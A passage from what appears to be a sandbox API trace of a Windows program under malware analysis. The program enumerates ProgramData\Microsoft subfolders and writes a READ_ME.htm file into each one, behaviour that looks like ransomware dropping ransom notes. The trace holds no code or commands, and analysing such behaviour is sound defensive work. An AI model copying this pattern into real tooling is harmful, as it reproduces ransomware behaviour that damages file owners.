lpOverlapped=0x0) returned 1 [0139.251] CloseHandle (hObject=0x1d0) returned 1 [0139.251] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM", lpFilePart=0x0) returned 0x1c [0139.251] SetErrorMode (uMode=0x1) returned 0x0 [0139.251] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*" (normalized: "c:\\programdata\\microsoft\\drm\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.252] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.252] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0139.252] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0139.253] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.253] SetErrorMode (uMode=0x0) returned 0x1 [0139.253] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM", lpFilePart=0x0) returned 0x1c [0139.253] SetErrorMode (uMode=0x1) returned 0x0 [0139.253] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*" (normalized: "c:\\programdata\\microsoft\\drm\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.254] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.254] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0139.254] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0139.254] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.254] SetErrorMode (uMode=0x0) returned 0x1 [0139.255] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\Server", lpFilePart=0x0) returned 0x23 [0139.255] SetErrorMode (uMode=0x1) returned 0x0 [0139.255] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*" (normalized: "c:\\programdata\\microsoft\\drm\\server\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.255] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.256] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.256] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.256] SetErrorMode (uMode=0x0) returned 0x1 [0139.256] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\Server", lpFilePart=0x0) returned 0x23 [0139.256] SetErrorMode (uMode=0x1) returned 0x0 [0139.256] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*" (normalized: "c:\\programdata\\microsoft\\drm\\server\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.257] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.257] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.257] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.257] SetErrorMode (uMode=0x0) returned 0x1 [0139.257] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\Server\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0139.257] SetErrorMode (uMode=0x1) returned 0x0 [0139.258] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\drm\\server\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.259] GetFileType (hFile=0x1d0) returned 0x1 [0139.259] SetErrorMode (uMode=0x0) returned 0x1 [0139.259] GetFileType (hFile=0x1d0) returned 0x1 [0139.259] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a33eb0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2a33eb0*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.261] CloseHandle (hObject=0x1d0) returned 1 [0139.261] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DRM\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0139.261] SetErrorMode (uMode=0x1) returned 0x0 [0139.262] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DRM\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\drm\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.262] GetFileType (hFile=0x1d0) returned 0x1 [0139.262] SetErrorMode (uMode=0x0) returned 0x1 [0139.262] GetFileType (hFile=0x1d0) returned 0x1 [0139.262] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a38420*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2a38420*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.264] CloseHandle (hObject=0x1d0) returned 1 [0139.264] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome", lpFilePart=0x0) returned 0x1e [0139.264] SetErrorMode (uMode=0x1) returned 0x0 [0139.265] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\*" (normalized: "c:\\programdata\\microsoft\\ehome\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0139.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0139.266] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.267] SetErrorMode (uMode=0x0) returned 0x1 [0139.267] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome", lpFilePart=0x0) returned 0x1e [0139.267] SetErrorMode (uMode=0x1) returned 0x0 [0139.267] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\*" (normalized: "c:\\programdata\\microsoft\\ehome\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.267] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0139.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0139.268] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.268] SetErrorMode (uMode=0x0) returned 0x1 [0139.268] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome\\logs", lpFilePart=0x0) returned 0x23 [0139.269] SetErrorMode (uMode=0x1) returned 0x0 [0139.269] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\*" (normalized: "c:\\programdata\\microsoft\\ehome\\logs\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.270] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.270] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.270] SetErrorMode (uMode=0x0) returned 0x1 [0139.270] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome\\logs", lpFilePart=0x0) returned 0x23 [0139.271] SetErrorMode (uMode=0x1) returned 0x0 [0139.271] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\*" (normalized: "c:\\programdata\\microsoft\\ehome\\logs\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.271] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.272] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.272] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.272] SetErrorMode (uMode=0x0) returned 0x1 [0139.272] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome\\logs\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0139.283] SetErrorMode (uMode=0x1) returned 0x0 [0139.283] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\ehome\\logs\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.284] GetFileType (hFile=0x1d0) returned 0x1 [0139.284] SetErrorMode (uMode=0x0) returned 0x1 [0139.284] GetFileType (hFile=0x1d0) returned 0x1 [0139.284] WriteFile (in: hFile=0x1d0, lpBuffer=0x283ee90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x283ee90*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.285] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\eHome\\READ_ME.htm", lpFilePart=0x0) returned 0x2a [0139.286] SetErrorMode (uMode=0x1) returned 0x0 [0139.286] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\eHome\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\ehome\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.286] GetFileType (hFile=0x1d0) returned 0x1 [0139.286] SetErrorMode (uMode=0x0) returned 0x1 [0139.286] GetFileType (hFile=0x1d0) returned 0x1 [0139.287] WriteFile (in: hFile=0x1d0, lpBuffer=0x2843400*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2843400*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.288] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL", lpFilePart=0x0) returned 0x24 [0139.288] SetErrorMode (uMode=0x1) returned 0x0 [0139.288] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*" (normalized: "c:\\programdata\\microsoft\\identitycrl\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.289] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.289] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0139.289] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | 